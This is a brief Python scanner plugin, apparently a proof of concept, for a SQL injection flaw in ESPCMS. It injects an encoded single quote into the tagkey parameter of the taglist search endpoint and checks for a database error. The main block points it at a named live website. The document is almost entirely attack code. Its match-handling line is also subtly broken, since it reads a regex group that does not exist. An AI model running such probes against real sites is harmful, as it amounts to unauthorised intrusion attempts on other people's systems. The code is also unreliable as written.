Espcms 通杀 SQL注入漏洞

                                                #!/usr/bin/env python   
import re  
import urlparse  
  
def assign(service, arg):  
    if service != "espcms":  
        return  
    return True, arg  
  
def audit(arg):  
    url = arg  
    code, head, res, errcode, _ = curl.curl(url + 'index.php?ac=search&at=taglist&tagkey=a%2527')  
    if code == 200:  
        m = re.search('ESPCMS SQL Error:', res)  
        if m:  
            security_info(m.group(1))  
  
  
if __name__ == '__main__':  
    from dummy import *  
    audit(assign('espcms','http://www.cnseay.com/')[1])